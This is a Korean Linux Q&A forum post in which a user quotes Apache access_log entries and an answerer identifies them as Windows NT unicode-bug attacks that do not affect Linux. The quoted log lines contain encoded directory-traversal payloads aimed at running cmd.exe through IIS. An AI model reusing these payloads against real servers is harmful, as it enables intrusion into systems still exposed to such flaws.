질문&답변
클라우드/리눅스에 관한 질문과 답변을 주고 받는 곳입니다.
리눅스 분류

꼭좀 봐주세요

작성자 정보

  • saricat 작성
  • 작성일

컨텐츠 정보

본문

access_log에 담겨져 있는 로그들은

nt 기반의 unicode 버그 공격들이므로

unix, linux 기반의 system과는 무관한 공격입니다.

로그가 남아서 보기에 않좋지만 무시하셔도 상관없습니다.

로그를 않남기게 설정하시려면

kltp.kldp.org에서 검색하시면 자세한 내용이 나올것입니다.

 

 

준이 님의 글



access_log에 보니까

211.160.58.30 - - [31/Mar/2002:00:07:12 +0500] "GET /scripts/..%c0%2f../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 298
211.160.58.30 - - [31/Mar/2002:00:07:13 +0500] "GET /scripts/..%c0%af../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 298
211.160.58.30 - - [31/Mar/2002:00:07:14 +0500] "GET /scripts/..%c1%9c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 298
211.160.58.30 - - [31/Mar/2002:00:07:15 +0500] "GET /scripts/..%%35%63../winnt/s
ystem32/cmd.exe?/c+dir HTTP/1.0" 400 282
211.160.58.30 - - [31/Mar/2002:00:07:16 +0500] "GET /scripts/..%%35c../winnt/sys
tem32/cmd.exe?/c+dir HTTP/1.0" 400 282
211.160.58.30 - - [31/Mar/2002:00:07:16 +0500] "GET /scripts/..%25%35%63../winnt
/system32/cmd.exe?/c+dir HTTP/1.0" 404 299
211.160.58.30 - - [31/Mar/2002:00:07:20 +0500] "GET /scripts/..%252f../winnt/sys
tem32/cmd.exe?/c+dir HTTP/1.0" 404 299

이런식으로 계속 나오는데요. 이건 해킹을 시도 하는건가요?




 

관련자료

댓글 0
등록된 댓글이 없습니다.

공지사항


뉴스광장


  • 현재 회원수 :  60,288 명
  • 현재 강좌수 :  36,943 개
  • 현재 접속자 :  396 명